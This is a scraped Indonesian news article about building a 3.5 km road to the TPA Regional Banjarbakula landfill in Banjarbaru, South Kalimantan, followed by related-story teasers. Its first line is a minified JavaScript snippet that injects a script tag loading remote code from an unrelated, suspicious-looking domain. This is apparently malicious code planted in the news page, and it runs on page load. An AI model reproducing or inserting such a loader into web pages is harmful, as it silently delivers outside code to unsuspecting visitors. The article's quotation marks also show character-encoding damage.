(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pembangunan akses jalan armada angkutan sampah menuju ke Tempat Pembuangan Akhir (TPA) Regional Banjarbakula memasuki tahap baru. Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel menargetkan akses jalan tersebut rampung akhir tahun ini.
Kepala Bidang (Kabid) Bina Marga PUPR Provinsi Kalsel M Yasin Toyib mengakui, pihaknya telah melakukan pengerasan terhadap akses jalan dengan panjang 3,5 Km tersebut. Pengerasan jalan telah dilakukan, baik itu Lapisan Pondasi Atas (LPA) maupun Lapisan Pondasi Bawah (LPB).
“Sudah kita kerjakan 3 kilometer. Mungkin kalau dihitung fisiknya, proyek ini sudah mencapai kurang lebih 40 persen. Kalau untuk lebar pengaspalan nantinya, kita sesuai dengan standar provinsi, minimal 6 meter,†katanya, Jum’at (15/11).
Pembangunan akses jalan ini merupakan kerja sama antara Pemko Banjarbaru melalui Dinas PUPR Banjarbaru dengan Dinas PUPR Provinsi Kalsel. Dalam hal ini, Pemko Banjarbaru bertugas menyiapkan lahan. Sedangkan, Dinas PUPR Provinsi Kalsel bertugas dalam pembangunan fisik jalan.
Kolaborasi kedua Dinas PUPR ini akhirnya memutuskan untuk membangun akses jalan dengan memanfaatkan areal perkebunan sawit dan karet di wilayah Gunung Kupang, Kecamatan Cempaka, Kota Banjarbaru.
Dengan melihat progres signifikan ini, Yasin sendiri optimis pembangunan akses jalan TPA Regional Banjarbakula bisa rampung sesuai dengan kontrak yang telah ditetapkan. Apalagi, menurutnya akses jalan ini akan sangat membantu pihak TPA Regional Banjarbakula yang sebelumnya mendapat kesulitan saat menggunakan akses jalan terdahulu.
“Kontraknya sampai akhir Desember ini. Kami optimis kalau akses jalan ini selesai tepat waktu dan bisa secepatnya digunakan. Sebab, selama ini pihak TPA Regional Banjarbakula mengalami kesulitan dan Insya Allah dengan rampungnya jalan ini kesulitan itu tidak akan terjadi lagi,†pungkasnya.
Baca Juga : Jalan Alternatif ke TPA Banjarbakula Disiapkan, Pemprov Kalsel Siapkan Anggaran Perubahan
Seperti yang diberitakan sebelumnya, pembangunan akses jalan ini disiasati Pemerintah Daerah agar armada sampah TPA Regional Banjarbakula tidak lagi lalu lalang di kawasan perkampungan warga. Pada awalnya, akses jalan satu-satunya untuk menuju TPA Regional Banjarbakula yakni melalui kawasan Gunung Kupang yang notabenenya adalah jalan milik warga.
Saat itu, warga melayakan protes hingga melakukan aksi blokade jalan karena banyaknya armada sampah yang lalu lalang. Warga mengklaim armada sampah ini mengancam keselamatan warga sekitar dan juga menimbulkan bau sampah yang menyengat.
Akibat adanya protes dari warga tersebut, TPA Reginoal Banjarbakula ditutup dan berhenti beroperasi sementara waktu. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More
Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More
13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
This website uses cookies.